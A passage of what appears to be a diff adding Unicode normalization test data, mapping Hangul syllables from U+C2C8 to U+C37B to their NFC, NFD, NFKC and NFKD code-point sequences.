+{ source: [0xC2C8], NFC: [0xC2C8], NFD: [0x1109, 0x1174, 0x11AF], NFKC: [0xC2C8], NFKD: [0x1109, 0x1174, 0x11AF] },
+{ source: [0xC2C9], NFC: [0xC2C9], NFD: [0x1109, 0x1174, 0x11B0], NFKC: [0xC2C9], NFKD: [0x1109, 0x1174, 0x11B0] },
+{ source: [0xC2CA], NFC: [0xC2CA], NFD: [0x1109, 0x1174, 0x11B1], NFKC: [0xC2CA], NFKD: [0x1109, 0x1174, 0x11B1] },
+{ source: [0xC2CB], NFC: [0xC2CB], NFD: [0x1109, 0x1174, 0x11B2], NFKC: [0xC2CB], NFKD: [0x1109, 0x1174, 0x11B2] },
+{ source: [0xC2CC], NFC: [0xC2CC], NFD: [0x1109, 0x1174, 0x11B3], NFKC: [0xC2CC], NFKD: [0x1109, 0x1174, 0x11B3] },
+{ source: [0xC2CD], NFC: [0xC2CD], NFD: [0x1109, 0x1174, 0x11B4], NFKC: [0xC2CD], NFKD: [0x1109, 0x1174, 0x11B4] },
+{ source: [0xC2CE], NFC: [0xC2CE], NFD: [0x1109, 0x1174, 0x11B5], NFKC: [0xC2CE], NFKD: [0x1109, 0x1174, 0x11B5] },
+{ source: [0xC2CF], NFC: [0xC2CF], NFD: [0x1109, 0x1174, 0x11B6], NFKC: [0xC2CF], NFKD: [0x1109, 0x1174, 0x11B6] },
+{ source: [0xC2D0], NFC: [0xC2D0], NFD: [0x1109, 0x1174, 0x11B7], NFKC: [0xC2D0], NFKD: [0x1109, 0x1174, 0x11B7] },
+{ source: [0xC2D1], NFC: [0xC2D1], NFD: [0x1109, 0x1174, 0x11B8], NFKC: [0xC2D1], NFKD: [0x1109, 0x1174, 0x11B8] },
+{ source: [0xC2D2], NFC: [0xC2D2], NFD: [0x1109, 0x1174, 0x11B9], NFKC: [0xC2D2], NFKD: [0x1109, 0x1174, 0x11B9] },
+{ source: [0xC2D3], NFC: [0xC2D3], NFD: [0x1109, 0x1174, 0x11BA], NFKC: [0xC2D3], NFKD: [0x1109, 0x1174, 0x11BA] },
+{ source: [0xC2D4], NFC: [0xC2D4], NFD: [0x1109, 0x1174, 0x11BB], NFKC: [0xC2D4], NFKD: [0x1109, 0x1174, 0x11BB] },
+{ source: [0xC2D5], NFC: [0xC2D5], NFD: [0x1109, 0x1174, 0x11BC], NFKC: [0xC2D5], NFKD: [0x1109, 0x1174, 0x11BC] },
+{ source: [0xC2D6], NFC: [0xC2D6], NFD: [0x1109, 0x1174, 0x11BD], NFKC: [0xC2D6], NFKD: [0x1109, 0x1174, 0x11BD] },
+{ source: [0xC2D7], NFC: [0xC2D7], NFD: [0x1109, 0x1174, 0x11BE], NFKC: [0xC2D7], NFKD: [0x1109, 0x1174, 0x11BE] },
+{ source: [0xC2D8], NFC: [0xC2D8], NFD: [0x1109, 0x1174, 0x11BF], NFKC: [0xC2D8], NFKD: [0x1109, 0x1174, 0x11BF] },
+{ source: [0xC2D9], NFC: [0xC2D9], NFD: [0x1109, 0x1174, 0x11C0], NFKC: [0xC2D9], NFKD: [0x1109, 0x1174, 0x11C0] },
+{ source: [0xC2DA], NFC: [0xC2DA], NFD: [0x1109, 0x1174, 0x11C1], NFKC: [0xC2DA], NFKD: [0x1109, 0x1174, 0x11C1] },
+{ source: [0xC2DB], NFC: [0xC2DB], NFD: [0x1109, 0x1174, 0x11C2], NFKC: [0xC2DB], NFKD: [0x1109, 0x1174, 0x11C2] },
+{ source: [0xC2DC], NFC: [0xC2DC], NFD: [0x1109, 0x1175], NFKC: [0xC2DC], NFKD: [0x1109, 0x1175] },
+{ source: [0xC2DD], NFC: [0xC2DD], NFD: [0x1109, 0x1175, 0x11A8], NFKC: [0xC2DD], NFKD: [0x1109, 0x1175, 0x11A8] },
+{ source: [0xC2DE], NFC: [0xC2DE], NFD: [0x1109, 0x1175, 0x11A9], NFKC: [0xC2DE], NFKD: [0x1109, 0x1175, 0x11A9] },
+{ source: [0xC2DF], NFC: [0xC2DF], NFD: [0x1109, 0x1175, 0x11AA], NFKC: [0xC2DF], NFKD: [0x1109, 0x1175, 0x11AA] },
+{ source: [0xC2E0], NFC: [0xC2E0], NFD: [0x1109, 0x1175, 0x11AB], NFKC: [0xC2E0], NFKD: [0x1109, 0x1175, 0x11AB] },
+{ source: [0xC2E1], NFC: [0xC2E1], NFD: [0x1109, 0x1175, 0x11AC], NFKC: [0xC2E1], NFKD: [0x1109, 0x1175, 0x11AC] },
+{ source: [0xC2E2], NFC: [0xC2E2], NFD: [0x1109, 0x1175, 0x11AD], NFKC: [0xC2E2], NFKD: [0x1109, 0x1175, 0x11AD] },
+{ source: [0xC2E3], NFC: [0xC2E3], NFD: [0x1109, 0x1175, 0x11AE], NFKC: [0xC2E3], NFKD: [0x1109, 0x1175, 0x11AE] },
+{ source: [0xC2E4], NFC: [0xC2E4], NFD: [0x1109, 0x1175, 0x11AF], NFKC: [0xC2E4], NFKD: [0x1109, 0x1175, 0x11AF] },
+{ source: [0xC2E5], NFC: [0xC2E5], NFD: [0x1109, 0x1175, 0x11B0], NFKC: [0xC2E5], NFKD: [0x1109, 0x1175, 0x11B0] },
+{ source: [0xC2E6], NFC: [0xC2E6], NFD: [0x1109, 0x1175, 0x11B1], NFKC: [0xC2E6], NFKD: [0x1109, 0x1175, 0x11B1] },
+{ source: [0xC2E7], NFC: [0xC2E7], NFD: [0x1109, 0x1175, 0x11B2], NFKC: [0xC2E7], NFKD: [0x1109, 0x1175, 0x11B2] },
+{ source: [0xC2E8], NFC: [0xC2E8], NFD: [0x1109, 0x1175, 0x11B3], NFKC: [0xC2E8], NFKD: [0x1109, 0x1175, 0x11B3] },
+{ source: [0xC2E9], NFC: [0xC2E9], NFD: [0x1109, 0x1175, 0x11B4], NFKC: [0xC2E9], NFKD: [0x1109, 0x1175, 0x11B4] },
+{ source: [0xC2EA], NFC: [0xC2EA], NFD: [0x1109, 0x1175, 0x11B5], NFKC: [0xC2EA], NFKD: [0x1109, 0x1175, 0x11B5] },
+{ source: [0xC2EB], NFC: [0xC2EB], NFD: [0x1109, 0x1175, 0x11B6], NFKC: [0xC2EB], NFKD: [0x1109, 0x1175, 0x11B6] },
+{ source: [0xC2EC], NFC: [0xC2EC], NFD: [0x1109, 0x1175, 0x11B7], NFKC: [0xC2EC], NFKD: [0x1109, 0x1175, 0x11B7] },
+{ source: [0xC2ED], NFC: [0xC2ED], NFD: [0x1109, 0x1175, 0x11B8], NFKC: [0xC2ED], NFKD: [0x1109, 0x1175, 0x11B8] },
+{ source: [0xC2EE], NFC: [0xC2EE], NFD: [0x1109, 0x1175, 0x11B9], NFKC: [0xC2EE], NFKD: [0x1109, 0x1175, 0x11B9] },
+{ source: [0xC2EF], NFC: [0xC2EF], NFD: [0x1109, 0x1175, 0x11BA], NFKC: [0xC2EF], NFKD: [0x1109, 0x1175, 0x11BA] },
+{ source: [0xC2F0], NFC: [0xC2F0], NFD: [0x1109, 0x1175, 0x11BB], NFKC: [0xC2F0], NFKD: [0x1109, 0x1175, 0x11BB] },
+{ source: [0xC2F1], NFC: [0xC2F1], NFD: [0x1109, 0x1175, 0x11BC], NFKC: [0xC2F1], NFKD: [0x1109, 0x1175, 0x11BC] },
+{ source: [0xC2F2], NFC: [0xC2F2], NFD: [0x1109, 0x1175, 0x11BD], NFKC: [0xC2F2], NFKD: [0x1109, 0x1175, 0x11BD] },
+{ source: [0xC2F3], NFC: [0xC2F3], NFD: [0x1109, 0x1175, 0x11BE], NFKC: [0xC2F3], NFKD: [0x1109, 0x1175, 0x11BE] },
+{ source: [0xC2F4], NFC: [0xC2F4], NFD: [0x1109, 0x1175, 0x11BF], NFKC: [0xC2F4], NFKD: [0x1109, 0x1175, 0x11BF] },
+{ source: [0xC2F5], NFC: [0xC2F5], NFD: [0x1109, 0x1175, 0x11C0], NFKC: [0xC2F5], NFKD: [0x1109, 0x1175, 0x11C0] },
+{ source: [0xC2F6], NFC: [0xC2F6], NFD: [0x1109, 0x1175, 0x11C1], NFKC: [0xC2F6], NFKD: [0x1109, 0x1175, 0x11C1] },
+{ source: [0xC2F7], NFC: [0xC2F7], NFD: [0x1109, 0x1175, 0x11C2], NFKC: [0xC2F7], NFKD: [0x1109, 0x1175, 0x11C2] },
+{ source: [0xC2F8], NFC: [0xC2F8], NFD: [0x110A, 0x1161], NFKC: [0xC2F8], NFKD: [0x110A, 0x1161] },
+{ source: [0xC2F9], NFC: [0xC2F9], NFD: [0x110A, 0x1161, 0x11A8], NFKC: [0xC2F9], NFKD: [0x110A, 0x1161, 0x11A8] },
+{ source: [0xC2FA], NFC: [0xC2FA], NFD: [0x110A, 0x1161, 0x11A9], NFKC: [0xC2FA], NFKD: [0x110A, 0x1161, 0x11A9] },
+{ source: [0xC2FB], NFC: [0xC2FB], NFD: [0x110A, 0x1161, 0x11AA], NFKC: [0xC2FB], NFKD: [0x110A, 0x1161, 0x11AA] },
+{ source: [0xC2FC], NFC: [0xC2FC], NFD: [0x110A, 0x1161, 0x11AB], NFKC: [0xC2FC], NFKD: [0x110A, 0x1161, 0x11AB] },
+{ source: [0xC2FD], NFC: [0xC2FD], NFD: [0x110A, 0x1161, 0x11AC], NFKC: [0xC2FD], NFKD: [0x110A, 0x1161, 0x11AC] },
+{ source: [0xC2FE], NFC: [0xC2FE], NFD: [0x110A, 0x1161, 0x11AD], NFKC: [0xC2FE], NFKD: [0x110A, 0x1161, 0x11AD] },
+{ source: [0xC2FF], NFC: [0xC2FF], NFD: [0x110A, 0x1161, 0x11AE], NFKC: [0xC2FF], NFKD: [0x110A, 0x1161, 0x11AE] },
+{ source: [0xC300], NFC: [0xC300], NFD: [0x110A, 0x1161, 0x11AF], NFKC: [0xC300], NFKD: [0x110A, 0x1161, 0x11AF] },
+{ source: [0xC301], NFC: [0xC301], NFD: [0x110A, 0x1161, 0x11B0], NFKC: [0xC301], NFKD: [0x110A, 0x1161, 0x11B0] },
+{ source: [0xC302], NFC: [0xC302], NFD: [0x110A, 0x1161, 0x11B1], NFKC: [0xC302], NFKD: [0x110A, 0x1161, 0x11B1] },
+{ source: [0xC303], NFC: [0xC303], NFD: [0x110A, 0x1161, 0x11B2], NFKC: [0xC303], NFKD: [0x110A, 0x1161, 0x11B2] },
+{ source: [0xC304], NFC: [0xC304], NFD: [0x110A, 0x1161, 0x11B3], NFKC: [0xC304], NFKD: [0x110A, 0x1161, 0x11B3] },
+{ source: [0xC305], NFC: [0xC305], NFD: [0x110A, 0x1161, 0x11B4], NFKC: [0xC305], NFKD: [0x110A, 0x1161, 0x11B4] },
+{ source: [0xC306], NFC: [0xC306], NFD: [0x110A, 0x1161, 0x11B5], NFKC: [0xC306], NFKD: [0x110A, 0x1161, 0x11B5] },
+{ source: [0xC307], NFC: [0xC307], NFD: [0x110A, 0x1161, 0x11B6], NFKC: [0xC307], NFKD: [0x110A, 0x1161, 0x11B6] },
+{ source: [0xC308], NFC: [0xC308], NFD: [0x110A, 0x1161, 0x11B7], NFKC: [0xC308], NFKD: [0x110A, 0x1161, 0x11B7] },
+{ source: [0xC309], NFC: [0xC309], NFD: [0x110A, 0x1161, 0x11B8], NFKC: [0xC309], NFKD: [0x110A, 0x1161, 0x11B8] },
+{ source: [0xC30A], NFC: [0xC30A], NFD: [0x110A, 0x1161, 0x11B9], NFKC: [0xC30A], NFKD: [0x110A, 0x1161, 0x11B9] },
+{ source: [0xC30B], NFC: [0xC30B], NFD: [0x110A, 0x1161, 0x11BA], NFKC: [0xC30B], NFKD: [0x110A, 0x1161, 0x11BA] },
+{ source: [0xC30C], NFC: [0xC30C], NFD: [0x110A, 0x1161, 0x11BB], NFKC: [0xC30C], NFKD: [0x110A, 0x1161, 0x11BB] },
+{ source: [0xC30D], NFC: [0xC30D], NFD: [0x110A, 0x1161, 0x11BC], NFKC: [0xC30D], NFKD: [0x110A, 0x1161, 0x11BC] },
+{ source: [0xC30E], NFC: [0xC30E], NFD: [0x110A, 0x1161, 0x11BD], NFKC: [0xC30E], NFKD: [0x110A, 0x1161, 0x11BD] },
+{ source: [0xC30F], NFC: [0xC30F], NFD: [0x110A, 0x1161, 0x11BE], NFKC: [0xC30F], NFKD: [0x110A, 0x1161, 0x11BE] },
+{ source: [0xC310], NFC: [0xC310], NFD: [0x110A, 0x1161, 0x11BF], NFKC: [0xC310], NFKD: [0x110A, 0x1161, 0x11BF] },
+{ source: [0xC311], NFC: [0xC311], NFD: [0x110A, 0x1161, 0x11C0], NFKC: [0xC311], NFKD: [0x110A, 0x1161, 0x11C0] },
+{ source: [0xC312], NFC: [0xC312], NFD: [0x110A, 0x1161, 0x11C1], NFKC: [0xC312], NFKD: [0x110A, 0x1161, 0x11C1] },
+{ source: [0xC313], NFC: [0xC313], NFD: [0x110A, 0x1161, 0x11C2], NFKC: [0xC313], NFKD: [0x110A, 0x1161, 0x11C2] },
+{ source: [0xC314], NFC: [0xC314], NFD: [0x110A, 0x1162], NFKC: [0xC314], NFKD: [0x110A, 0x1162] },
+{ source: [0xC315], NFC: [0xC315], NFD: [0x110A, 0x1162, 0x11A8], NFKC: [0xC315], NFKD: [0x110A, 0x1162, 0x11A8] },
+{ source: [0xC316], NFC: [0xC316], NFD: [0x110A, 0x1162, 0x11A9], NFKC: [0xC316], NFKD: [0x110A, 0x1162, 0x11A9] },
+{ source: [0xC317], NFC: [0xC317], NFD: [0x110A, 0x1162, 0x11AA], NFKC: [0xC317], NFKD: [0x110A, 0x1162, 0x11AA] },
+{ source: [0xC318], NFC: [0xC318], NFD: [0x110A, 0x1162, 0x11AB], NFKC: [0xC318], NFKD: [0x110A, 0x1162, 0x11AB] },
+{ source: [0xC319], NFC: [0xC319], NFD: [0x110A, 0x1162, 0x11AC], NFKC: [0xC319], NFKD: [0x110A, 0x1162, 0x11AC] },
+{ source: [0xC31A], NFC: [0xC31A], NFD: [0x110A, 0x1162, 0x11AD], NFKC: [0xC31A], NFKD: [0x110A, 0x1162, 0x11AD] },
+{ source: [0xC31B], NFC: [0xC31B], NFD: [0x110A, 0x1162, 0x11AE], NFKC: [0xC31B], NFKD: [0x110A, 0x1162, 0x11AE] },
+{ source: [0xC31C], NFC: [0xC31C], NFD: [0x110A, 0x1162, 0x11AF], NFKC: [0xC31C], NFKD: [0x110A, 0x1162, 0x11AF] },
+{ source: [0xC31D], NFC: [0xC31D], NFD: [0x110A, 0x1162, 0x11B0], NFKC: [0xC31D], NFKD: [0x110A, 0x1162, 0x11B0] },
+{ source: [0xC31E], NFC: [0xC31E], NFD: [0x110A, 0x1162, 0x11B1], NFKC: [0xC31E], NFKD: [0x110A, 0x1162, 0x11B1] },
+{ source: [0xC31F], NFC: [0xC31F], NFD: [0x110A, 0x1162, 0x11B2], NFKC: [0xC31F], NFKD: [0x110A, 0x1162, 0x11B2] },
+{ source: [0xC320], NFC: [0xC320], NFD: [0x110A, 0x1162, 0x11B3], NFKC: [0xC320], NFKD: [0x110A, 0x1162, 0x11B3] },
+{ source: [0xC321], NFC: [0xC321], NFD: [0x110A, 0x1162, 0x11B4], NFKC: [0xC321], NFKD: [0x110A, 0x1162, 0x11B4] },
+{ source: [0xC322], NFC: [0xC322], NFD: [0x110A, 0x1162, 0x11B5], NFKC: [0xC322], NFKD: [0x110A, 0x1162, 0x11B5] },
+{ source: [0xC323], NFC: [0xC323], NFD: [0x110A, 0x1162, 0x11B6], NFKC: [0xC323], NFKD: [0x110A, 0x1162, 0x11B6] },
+{ source: [0xC324], NFC: [0xC324], NFD: [0x110A, 0x1162, 0x11B7], NFKC: [0xC324], NFKD: [0x110A, 0x1162, 0x11B7] },
+{ source: [0xC325], NFC: [0xC325], NFD: [0x110A, 0x1162, 0x11B8], NFKC: [0xC325], NFKD: [0x110A, 0x1162, 0x11B8] },
+{ source: [0xC326], NFC: [0xC326], NFD: [0x110A, 0x1162, 0x11B9], NFKC: [0xC326], NFKD: [0x110A, 0x1162, 0x11B9] },
+{ source: [0xC327], NFC: [0xC327], NFD: [0x110A, 0x1162, 0x11BA], NFKC: [0xC327], NFKD: [0x110A, 0x1162, 0x11BA] },
+{ source: [0xC328], NFC: [0xC328], NFD: [0x110A, 0x1162, 0x11BB], NFKC: [0xC328], NFKD: [0x110A, 0x1162, 0x11BB] },
+{ source: [0xC329], NFC: [0xC329], NFD: [0x110A, 0x1162, 0x11BC], NFKC: [0xC329], NFKD: [0x110A, 0x1162, 0x11BC] },
+{ source: [0xC32A], NFC: [0xC32A], NFD: [0x110A, 0x1162, 0x11BD], NFKC: [0xC32A], NFKD: [0x110A, 0x1162, 0x11BD] },
+{ source: [0xC32B], NFC: [0xC32B], NFD: [0x110A, 0x1162, 0x11BE], NFKC: [0xC32B], NFKD: [0x110A, 0x1162, 0x11BE] },
+{ source: [0xC32C], NFC: [0xC32C], NFD: [0x110A, 0x1162, 0x11BF], NFKC: [0xC32C], NFKD: [0x110A, 0x1162, 0x11BF] },
+{ source: [0xC32D], NFC: [0xC32D], NFD: [0x110A, 0x1162, 0x11C0], NFKC: [0xC32D], NFKD: [0x110A, 0x1162, 0x11C0] },
+{ source: [0xC32E], NFC: [0xC32E], NFD: [0x110A, 0x1162, 0x11C1], NFKC: [0xC32E], NFKD: [0x110A, 0x1162, 0x11C1] },
+{ source: [0xC32F], NFC: [0xC32F], NFD: [0x110A, 0x1162, 0x11C2], NFKC: [0xC32F], NFKD: [0x110A, 0x1162, 0x11C2] },
+{ source: [0xC330], NFC: [0xC330], NFD: [0x110A, 0x1163], NFKC: [0xC330], NFKD: [0x110A, 0x1163] },
+{ source: [0xC331], NFC: [0xC331], NFD: [0x110A, 0x1163, 0x11A8], NFKC: [0xC331], NFKD: [0x110A, 0x1163, 0x11A8] },
+{ source: [0xC332], NFC: [0xC332], NFD: [0x110A, 0x1163, 0x11A9], NFKC: [0xC332], NFKD: [0x110A, 0x1163, 0x11A9] },
+{ source: [0xC333], NFC: [0xC333], NFD: [0x110A, 0x1163, 0x11AA], NFKC: [0xC333], NFKD: [0x110A, 0x1163, 0x11AA] },
+{ source: [0xC334], NFC: [0xC334], NFD: [0x110A, 0x1163, 0x11AB], NFKC: [0xC334], NFKD: [0x110A, 0x1163, 0x11AB] },
+{ source: [0xC335], NFC: [0xC335], NFD: [0x110A, 0x1163, 0x11AC], NFKC: [0xC335], NFKD: [0x110A, 0x1163, 0x11AC] },
+{ source: [0xC336], NFC: [0xC336], NFD: [0x110A, 0x1163, 0x11AD], NFKC: [0xC336], NFKD: [0x110A, 0x1163, 0x11AD] },
+{ source: [0xC337], NFC: [0xC337], NFD: [0x110A, 0x1163, 0x11AE], NFKC: [0xC337], NFKD: [0x110A, 0x1163, 0x11AE] },
+{ source: [0xC338], NFC: [0xC338], NFD: [0x110A, 0x1163, 0x11AF], NFKC: [0xC338], NFKD: [0x110A, 0x1163, 0x11AF] },
+{ source: [0xC339], NFC: [0xC339], NFD: [0x110A, 0x1163, 0x11B0], NFKC: [0xC339], NFKD: [0x110A, 0x1163, 0x11B0] },
+{ source: [0xC33A], NFC: [0xC33A], NFD: [0x110A, 0x1163, 0x11B1], NFKC: [0xC33A], NFKD: [0x110A, 0x1163, 0x11B1] },
+{ source: [0xC33B], NFC: [0xC33B], NFD: [0x110A, 0x1163, 0x11B2], NFKC: [0xC33B], NFKD: [0x110A, 0x1163, 0x11B2] },
+{ source: [0xC33C], NFC: [0xC33C], NFD: [0x110A, 0x1163, 0x11B3], NFKC: [0xC33C], NFKD: [0x110A, 0x1163, 0x11B3] },
+{ source: [0xC33D], NFC: [0xC33D], NFD: [0x110A, 0x1163, 0x11B4], NFKC: [0xC33D], NFKD: [0x110A, 0x1163, 0x11B4] },
+{ source: [0xC33E], NFC: [0xC33E], NFD: [0x110A, 0x1163, 0x11B5], NFKC: [0xC33E], NFKD: [0x110A, 0x1163, 0x11B5] },
+{ source: [0xC33F], NFC: [0xC33F], NFD: [0x110A, 0x1163, 0x11B6], NFKC: [0xC33F], NFKD: [0x110A, 0x1163, 0x11B6] },
+{ source: [0xC340], NFC: [0xC340], NFD: [0x110A, 0x1163, 0x11B7], NFKC: [0xC340], NFKD: [0x110A, 0x1163, 0x11B7] },
+{ source: [0xC341], NFC: [0xC341], NFD: [0x110A, 0x1163, 0x11B8], NFKC: [0xC341], NFKD: [0x110A, 0x1163, 0x11B8] },
+{ source: [0xC342], NFC: [0xC342], NFD: [0x110A, 0x1163, 0x11B9], NFKC: [0xC342], NFKD: [0x110A, 0x1163, 0x11B9] },
+{ source: [0xC343], NFC: [0xC343], NFD: [0x110A, 0x1163, 0x11BA], NFKC: [0xC343], NFKD: [0x110A, 0x1163, 0x11BA] },
+{ source: [0xC344], NFC: [0xC344], NFD: [0x110A, 0x1163, 0x11BB], NFKC: [0xC344], NFKD: [0x110A, 0x1163, 0x11BB] },
+{ source: [0xC345], NFC: [0xC345], NFD: [0x110A, 0x1163, 0x11BC], NFKC: [0xC345], NFKD: [0x110A, 0x1163, 0x11BC] },
+{ source: [0xC346], NFC: [0xC346], NFD: [0x110A, 0x1163, 0x11BD], NFKC: [0xC346], NFKD: [0x110A, 0x1163, 0x11BD] },
+{ source: [0xC347], NFC: [0xC347], NFD: [0x110A, 0x1163, 0x11BE], NFKC: [0xC347], NFKD: [0x110A, 0x1163, 0x11BE] },
+{ source: [0xC348], NFC: [0xC348], NFD: [0x110A, 0x1163, 0x11BF], NFKC: [0xC348], NFKD: [0x110A, 0x1163, 0x11BF] },
+{ source: [0xC349], NFC: [0xC349], NFD: [0x110A, 0x1163, 0x11C0], NFKC: [0xC349], NFKD: [0x110A, 0x1163, 0x11C0] },
+{ source: [0xC34A], NFC: [0xC34A], NFD: [0x110A, 0x1163, 0x11C1], NFKC: [0xC34A], NFKD: [0x110A, 0x1163, 0x11C1] },
+{ source: [0xC34B], NFC: [0xC34B], NFD: [0x110A, 0x1163, 0x11C2], NFKC: [0xC34B], NFKD: [0x110A, 0x1163, 0x11C2] },
+{ source: [0xC34C], NFC: [0xC34C], NFD: [0x110A, 0x1164], NFKC: [0xC34C], NFKD: [0x110A, 0x1164] },
+{ source: [0xC34D], NFC: [0xC34D], NFD: [0x110A, 0x1164, 0x11A8], NFKC: [0xC34D], NFKD: [0x110A, 0x1164, 0x11A8] },
+{ source: [0xC34E], NFC: [0xC34E], NFD: [0x110A, 0x1164, 0x11A9], NFKC: [0xC34E], NFKD: [0x110A, 0x1164, 0x11A9] },
+{ source: [0xC34F], NFC: [0xC34F], NFD: [0x110A, 0x1164, 0x11AA], NFKC: [0xC34F], NFKD: [0x110A, 0x1164, 0x11AA] },
+{ source: [0xC350], NFC: [0xC350], NFD: [0x110A, 0x1164, 0x11AB], NFKC: [0xC350], NFKD: [0x110A, 0x1164, 0x11AB] },
+{ source: [0xC351], NFC: [0xC351], NFD: [0x110A, 0x1164, 0x11AC], NFKC: [0xC351], NFKD: [0x110A, 0x1164, 0x11AC] },
+{ source: [0xC352], NFC: [0xC352], NFD: [0x110A, 0x1164, 0x11AD], NFKC: [0xC352], NFKD: [0x110A, 0x1164, 0x11AD] },
+{ source: [0xC353], NFC: [0xC353], NFD: [0x110A, 0x1164, 0x11AE], NFKC: [0xC353], NFKD: [0x110A, 0x1164, 0x11AE] },
+{ source: [0xC354], NFC: [0xC354], NFD: [0x110A, 0x1164, 0x11AF], NFKC: [0xC354], NFKD: [0x110A, 0x1164, 0x11AF] },
+{ source: [0xC355], NFC: [0xC355], NFD: [0x110A, 0x1164, 0x11B0], NFKC: [0xC355], NFKD: [0x110A, 0x1164, 0x11B0] },
+{ source: [0xC356], NFC: [0xC356], NFD: [0x110A, 0x1164, 0x11B1], NFKC: [0xC356], NFKD: [0x110A, 0x1164, 0x11B1] },
+{ source: [0xC357], NFC: [0xC357], NFD: [0x110A, 0x1164, 0x11B2], NFKC: [0xC357], NFKD: [0x110A, 0x1164, 0x11B2] },
+{ source: [0xC358], NFC: [0xC358], NFD: [0x110A, 0x1164, 0x11B3], NFKC: [0xC358], NFKD: [0x110A, 0x1164, 0x11B3] },
+{ source: [0xC359], NFC: [0xC359], NFD: [0x110A, 0x1164, 0x11B4], NFKC: [0xC359], NFKD: [0x110A, 0x1164, 0x11B4] },
+{ source: [0xC35A], NFC: [0xC35A], NFD: [0x110A, 0x1164, 0x11B5], NFKC: [0xC35A], NFKD: [0x110A, 0x1164, 0x11B5] },
+{ source: [0xC35B], NFC: [0xC35B], NFD: [0x110A, 0x1164, 0x11B6], NFKC: [0xC35B], NFKD: [0x110A, 0x1164, 0x11B6] },
+{ source: [0xC35C], NFC: [0xC35C], NFD: [0x110A, 0x1164, 0x11B7], NFKC: [0xC35C], NFKD: [0x110A, 0x1164, 0x11B7] },
+{ source: [0xC35D], NFC: [0xC35D], NFD: [0x110A, 0x1164, 0x11B8], NFKC: [0xC35D], NFKD: [0x110A, 0x1164, 0x11B8] },
+{ source: [0xC35E], NFC: [0xC35E], NFD: [0x110A, 0x1164, 0x11B9], NFKC: [0xC35E], NFKD: [0x110A, 0x1164, 0x11B9] },
+{ source: [0xC35F], NFC: [0xC35F], NFD: [0x110A, 0x1164, 0x11BA], NFKC: [0xC35F], NFKD: [0x110A, 0x1164, 0x11BA] },
+{ source: [0xC360], NFC: [0xC360], NFD: [0x110A, 0x1164, 0x11BB], NFKC: [0xC360], NFKD: [0x110A, 0x1164, 0x11BB] },
+{ source: [0xC361], NFC: [0xC361], NFD: [0x110A, 0x1164, 0x11BC], NFKC: [0xC361], NFKD: [0x110A, 0x1164, 0x11BC] },
+{ source: [0xC362], NFC: [0xC362], NFD: [0x110A, 0x1164, 0x11BD], NFKC: [0xC362], NFKD: [0x110A, 0x1164, 0x11BD] },
+{ source: [0xC363], NFC: [0xC363], NFD: [0x110A, 0x1164, 0x11BE], NFKC: [0xC363], NFKD: [0x110A, 0x1164, 0x11BE] },
+{ source: [0xC364], NFC: [0xC364], NFD: [0x110A, 0x1164, 0x11BF], NFKC: [0xC364], NFKD: [0x110A, 0x1164, 0x11BF] },
+{ source: [0xC365], NFC: [0xC365], NFD: [0x110A, 0x1164, 0x11C0], NFKC: [0xC365], NFKD: [0x110A, 0x1164, 0x11C0] },
+{ source: [0xC366], NFC: [0xC366], NFD: [0x110A, 0x1164, 0x11C1], NFKC: [0xC366], NFKD: [0x110A, 0x1164, 0x11C1] },
+{ source: [0xC367], NFC: [0xC367], NFD: [0x110A, 0x1164, 0x11C2], NFKC: [0xC367], NFKD: [0x110A, 0x1164, 0x11C2] },
+{ source: [0xC368], NFC: [0xC368], NFD: [0x110A, 0x1165], NFKC: [0xC368], NFKD: [0x110A, 0x1165] },
+{ source: [0xC369], NFC: [0xC369], NFD: [0x110A, 0x1165, 0x11A8], NFKC: [0xC369], NFKD: [0x110A, 0x1165, 0x11A8] },
+{ source: [0xC36A], NFC: [0xC36A], NFD: [0x110A, 0x1165, 0x11A9], NFKC: [0xC36A], NFKD: [0x110A, 0x1165, 0x11A9] },
+{ source: [0xC36B], NFC: [0xC36B], NFD: [0x110A, 0x1165, 0x11AA], NFKC: [0xC36B], NFKD: [0x110A, 0x1165, 0x11AA] },
+{ source: [0xC36C], NFC: [0xC36C], NFD: [0x110A, 0x1165, 0x11AB], NFKC: [0xC36C], NFKD: [0x110A, 0x1165, 0x11AB] },
+{ source: [0xC36D], NFC: [0xC36D], NFD: [0x110A, 0x1165, 0x11AC], NFKC: [0xC36D], NFKD: [0x110A, 0x1165, 0x11AC] },
+{ source: [0xC36E], NFC: [0xC36E], NFD: [0x110A, 0x1165, 0x11AD], NFKC: [0xC36E], NFKD: [0x110A, 0x1165, 0x11AD] },
+{ source: [0xC36F], NFC: [0xC36F], NFD: [0x110A, 0x1165, 0x11AE], NFKC: [0xC36F], NFKD: [0x110A, 0x1165, 0x11AE] },
+{ source: [0xC370], NFC: [0xC370], NFD: [0x110A, 0x1165, 0x11AF], NFKC: [0xC370], NFKD: [0x110A, 0x1165, 0x11AF] },
+{ source: [0xC371], NFC: [0xC371], NFD: [0x110A, 0x1165, 0x11B0], NFKC: [0xC371], NFKD: [0x110A, 0x1165, 0x11B0] },
+{ source: [0xC372], NFC: [0xC372], NFD: [0x110A, 0x1165, 0x11B1], NFKC: [0xC372], NFKD: [0x110A, 0x1165, 0x11B1] },
+{ source: [0xC373], NFC: [0xC373], NFD: [0x110A, 0x1165, 0x11B2], NFKC: [0xC373], NFKD: [0x110A, 0x1165, 0x11B2] },
+{ source: [0xC374], NFC: [0xC374], NFD: [0x110A, 0x1165, 0x11B3], NFKC: [0xC374], NFKD: [0x110A, 0x1165, 0x11B3] },
+{ source: [0xC375], NFC: [0xC375], NFD: [0x110A, 0x1165, 0x11B4], NFKC: [0xC375], NFKD: [0x110A, 0x1165, 0x11B4] },
+{ source: [0xC376], NFC: [0xC376], NFD: [0x110A, 0x1165, 0x11B5], NFKC: [0xC376], NFKD: [0x110A, 0x1165, 0x11B5] },
+{ source: [0xC377], NFC: [0xC377], NFD: [0x110A, 0x1165, 0x11B6], NFKC: [0xC377], NFKD: [0x110A, 0x1165, 0x11B6] },
+{ source: [0xC378], NFC: [0xC378], NFD: [0x110A, 0x1165, 0x11B7], NFKC: [0xC378], NFKD: [0x110A, 0x1165, 0x11B7] },
+{ source: [0xC379], NFC: [0xC379], NFD: [0x110A, 0x1165, 0x11B8], NFKC: [0xC379], NFKD: [0x110A, 0x1165, 0x11B8] },
+{ source: [0xC37A], NFC: [0xC37A], NFD: [0x110A, 0x1165, 0x11B9], NFKC: [0xC37A], NFKD: [0x110A, 0x1165, 0x11B9] },
+{ source: [0xC37B], NFC: [0xC37B], NFD: [0x110A, 0x1165, 0x11BA], NFKC: [0xC37B], NFKD: [0x110A, 0x1165, 0x11BA] },
